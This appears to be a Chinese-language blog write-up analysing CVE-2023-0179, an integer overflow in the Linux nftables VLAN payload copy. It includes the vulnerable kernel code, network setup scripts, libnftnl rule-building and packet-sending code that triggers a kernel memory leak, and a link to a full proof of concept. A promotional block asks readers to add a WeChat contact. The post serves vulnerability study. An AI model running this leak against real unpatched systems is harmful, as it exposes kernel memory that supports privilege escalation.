Nftables整型溢出(CVE-2023-0179)

前言

Netfilter是一個用於Linux操作系統的網絡數據包過濾框架,它提供了一種靈活的方式來管理網絡數據包的流動。Netfilter允許系統管理員和開發人員控制數據包在Linux內核中的處理方式,以實現網絡安全、網絡地址轉換(Network Address Translation,NAT)、數據包過濾等功能。

漏洞成因

漏洞發生在nft_payload_copy_vlan函數內部,由於計算拷貝的VLAN幀的頭部的長度時存在整型溢出,導致了拷貝超出頭部長度的數據。

代碼細節如下:

nft_payload_copy_vlan

#define VLAN_HLEN   4       /* The additional bytes required by VLAN
                     * (in addition to the Ethernet header)
                     */
#define VLAN_ETH_HLEN   18      /* Total octets in header.   */
​
​
/*
*   d表示目的寄存器
*   skb通常是網絡協議棧的緩存區
*   offset爲數據包的偏移量
*   len爲拷貝的長度
*/
static bool
nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
{
    int mac_off = skb_mac_header(skb) - skb->data; //獲取以太網幀頭部偏移
    u8 *vlanh, *dst_u8 = (u8 *) d; 
    struct vlan_ethhdr veth;
    u8 vlan_hlen = 0;
    
    /*
        IEEE 8021Q協議是對標準的以太網幀進行修改,加入了VLAN tag
        IEEE 8021AD協議則是加入雙重VLAN tag,一個用於內網,一個用於外網
    */
    if ((skb->protocol == htons(ETH_P_8021AD) ||
         skb->protocol == htons(ETH_P_8021Q)) &&
        offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)
        vlan_hlen += VLAN_HLEN;
​
    vlanh = (u8 *) &veth;
    if (offset < VLAN_ETH_HLEN + vlan_hlen) { //offset < 18 + 4
        u8 ethlen = len; //拷貝的長度
​
        if (vlan_hlen &&
            skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0)
            return false;
        else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth))
            return false;
​
        if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
            ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
            //ethlen = ethlen - (offet + len - VLAN_ETH_HLEN + vlan_hlen);
            //ethlen = ethlen - offset - len + VLAN_ETH_HELN - vlan_hlen;
            //ethlen = VLAN_ETH_HELN - vlan_hlen - offset
            //ethlen = 14 - offset
            //如果offset > 14 則會造成 ethlen溢出
            
​
        memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); //這裏實際上是拷貝vlan幀的頭部,但是如果ethlen發生了溢出則會拷貝多餘的字節
​
        len -= ethlen;
        if (len == 0)
            return true;
​
        dst_u8 += ethlen;
        offset = ETH_HLEN + vlan_hlen;
    } else {
        offset -= VLAN_HLEN + vlan_hlen;
    }
​
    return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0;
}
​

該函數實際的作用就是從數據包中將VLAN頭拷貝到指定的寄存器中進行存儲,函數開始會對數據包的協議進行校驗,若是爲IEEE 8021QIEEE 8021AD協議則說明以太網幀中增加了VLAN TAG,那麼再拷貝VLAN頭時需要將TAG也計算在內。在拷貝之前需要先計算待拷貝的長度,因此會進行一個長度的校驗,若偏移加長度超過了VLAN幀的頭部長度時,就需要對拷貝長度進行一個校準,防止拷貝過多的數據,但是這個校驗有問題,通過上述推導的公式可以發現,當offset大於14且小於22並且offset+len的值大於22時,ethlen就會發生溢出,這是因爲ethlen本身爲無符號整型,當得到結果爲負數時,會導致ethlen變成非常大。

這裏有一個需要注意的點,在計算時ethlen時會加上vlan_hlen而不是減掉是因爲在拷貝的時候會默認先減去vlan_hlen

那麼當offset = 19len = 4時,則offset + len = 23 > 22,因此會進入if語句內部,接着ethlen = 14 - 19 = -5(發生溢出)

環境搭建

這裏採用的是qemu + linux6.16內核進行環境的搭建。 作者創建虛擬網絡設備的腳本如下

https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh

#!/bin/sh
​
# create the peer virtual device
ip link add eth0 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth0 up
ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan id 10
ip addr add 192.168.147.137/24 dev vlan.10
ip link set vlan.5 up
ip link set vlan.10 up
ip link set lo up
# create a bridge to enable hooks
ip link add name br0 type bridge
ip link set dev br0 up
ip link set eth0 master br0
ip addr add 192.168.157.137/24 dev br0

可以看到作者在漏洞利用之前需要創建一些虛擬的網絡設備,例如虛擬設備對,vlan接口以及網橋。這是因爲想要進入nft_payload_copy_vlan函數的執行流程,需要數據包在vlan上進行傳輸纔可以。代碼如下所示:

void nft_payload_eval(const struct nft_expr *expr,
              struct nft_regs *regs,
              const struct nft_pktinfo *pkt)
{
    const struct nft_payload *priv = nft_expr_priv(expr);
    const struct sk_buff *skb = pkt->skb;
    u32 *dest = &regs->data[priv->dreg];
    int offset;
​
    if (priv->len % NFT_REG32_SIZE)
        dest[priv->len / NFT_REG32_SIZE] = 0;
​
    switch (priv->base) {
    case NFT_PAYLOAD_LL_HEADER: //數據鏈路層
        if (!skb_mac_header_was_set(skb)) //判斷數據包是否爲mac頭
            goto err;
​
        if (skb_vlan_tag_present(skb)) { //判斷數據包是否有vlan標誌
            if (!nft_payload_copy_vlan(dest, skb,
                           priv->offset, priv->len))
                goto err;
            return;
        }
        offset = skb_mac_header(skb) - skb->data;
        break;
...

因此爲了使得程序進入漏洞函數,需要建設特定的網絡環境。而該網絡拓撲與Docker的很像,具體內容可以參考https://cloud.tencent.com/developer/article/1835299。網絡拓撲大致如下,使用虛擬設備對的作用時,一端接口作爲數據的輸入而另一端接口作爲數據的流出,那麼後續進行hook的時候只需要hook一個點就行,設置vlan接口是因爲只有vlan的數據包才能夠進入nft_payload_copy_vlan函數的流程內,而在vlan.5上再次創建一個vlan接口是因爲使得數據包能夠加入雙層vlan tag,這樣可以通過IEEE 8021AD協議傳輸。

image-20231025111708016

但是我在qemu的環境調試時數據包的協議都不是IEEE 8021AD而是IEEE 8021Q,在查詢資料https://blog.csdn.net/m0_45406092/article/details/118497597發現,可以指定vlan的類型爲IEEE 8021AD,因此修改了一下腳本。

#!/bin/sh
​
# create the peer virtual device
ip link add eth32 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth32 up
#ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan  protocol  802.1ad  id 10 
#ip addr add 192.168.147.137/24 dev vlan.5
ip link set vlan.5 up
ip link set lo up
ip link set vlan.10 up

指定協議之後,數據包的協議也被爲IEEE 8021AD

image-20231025112546304

image-20231025112657050

至此環境就搭建完畢了。這裏需要注意的是在編譯內核的時候由於需要用到vlanbridge以及IEEE 8021Q,因此需要開啓這些模塊,否則在創建設備時會出現unknow的錯誤。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

漏洞驗證

可以使用libnftnl庫進行nftableshttps://github.com/tklauser/libnftnl/tree/master進行規則的設置

nftables需要設置table -> chain -> rule -> expr,由於我們需要捕獲在虛擬設備對上的數據包,因此可以設置協議類型爲NFPROTO_NETDEV,該協議類型是處理來自入口的數據包並且配合ingressHOOK點以及chain可以指定HOOK點在具體的設備上,那麼配合我們搭建的網絡設備環境,可以指定HOOK點爲以太網口(eth32)

...
    if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL))
    {
        perror("[-] create table");
        exit(-1);
    }
    
    /* 2. create chain */
    printf("[2] create chain\n");
    struct unft_base_chain_param up;
    up.hook_num = NF_NETDEV_INGRESS;
    up.prio = INT_MIN;
    if (create_chain(nl, table_name, chain_name,  NFPROTO_NETDEV, &up, &seq, NULL, dev_name))
    {
        perror("[-] create chain");
        exit(-1);
    }
...

然後再設置payload的表達式觸發漏洞,我們將offset設置爲19,len設置爲5

rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19, 4, NFT_REG32_00);

可以看到我們成功將ethlen的值設置爲了251的值,該值是遠遠超出了以太網幀頭部的長度了。

image-20231025122604286

可以看到寄存器中的值中除了以太網幀頭部的數據,還有一些額外的數據了。

image-20231025122830889

爲了將這些數據打印出來,則需要利用nftables中自帶的set(集合),集合實際是一組數據,例如我們需要過濾幾個ip地址,就能將這些ip地址作爲一個集合作爲過濾的名單,而集合中有一種屬性是map即以鍵值對的形式存儲值,而這些值實際是可以通過寄存器進行添加的,那麼我們就將上述寄存器的值添加到集合中使用nft list ruleset的命令就可以再屏幕中獲取內核的信息了。創建集合的代碼如下:

//創建集合
struct nftnl_set* build_set(char* table_name, char* set_name, uint16_t family)
{
    struct nftnl_set *s = NULL;
    
    s = nftnl_set_alloc();
    
    if (s == NULL) {
        perror("OOM");
        exit(EXIT_FAILURE);
    }
    
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4);
    /* See nftables/include/datatype.h, where TYPE_INET_SERVICE is 13. We
     * should place these datatypes in a public header so third party
     * applications still work with nftables.
     */
    nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); //以16進制的形式存儲數據
    nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4);
    nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);//以16進制的形式存儲數據
    nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
    nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP);  //以map存儲數據
​
    return s;
}

在創建完集合後,往集合裏面添加數據是通過表達式完成的,而動態的添加以及刪除集合中的元素則是通過dynset表達式進行處理,添加表達式代碼如下:

void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data)
{
    struct nftnl_expr *expr = nftnl_expr_alloc("dynset");
    nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); //需要指定添加元素的集合名稱
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); //指定操作爲添加操作
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); //鍵
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);//值
    nftnl_rule_add_expr(r, expr);
}

這裏需要注意的是,我們指定了捕獲數據包的網口,因此數據包需要途徑該網口才能夠捕獲數據包,下面是作者使用的數據包發送的代碼,首先是綁定發送數據包的端口爲vlan.10,由於vlan.10是在vlan.5上創建的,因此從vlan.10出去的數據包會被打上雙層vlan tag,並且vlan.5是在host-enps32上創建的,而host-enps32又是與eth32構成虛擬設備對,因此數據包最終會從eth32發出並且攜帶雙重的vlan tag從而進入nft_payload_copy_vlan的函數內部,觸發漏洞。

int send_packet() 
{
    int sockfd;
    struct sockaddr_in addr;
    char buffer[] = "This is a test message";
    char *interface_name = "vlan.10";  // double-tagged packet
    int interface_index;
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));
​
    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sockfd < 0) {
        perror("[-] Error creating socket");
        return 1;
    }
 
    // Set the SO_BINDTODEVICE socket option
    if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof(ifr)) < 0) {
        perror("[-] Error setting SO_BINDTODEVICE socket option");
        return 1;
    }
​
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr("192.168.123.123");  // random destination
    addr.sin_port = htons(1337); 
    
    // Send the UDP packet
    if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
        perror("[-] Error sending UDP packet");
        return 1;
    }
​
    close(sockfd);
    return 0;
}

可以看到最終完成了內核信息的泄露。

image-20231025124704970

完整poc:https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179/poc.c

漏洞利用

利用JUMP調整stacksize

設置寄存器的值

利用nft_payload_copy_vlan觸發漏洞拷貝payload

更多網安技能的在線實操練習,請點擊這裏>>

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章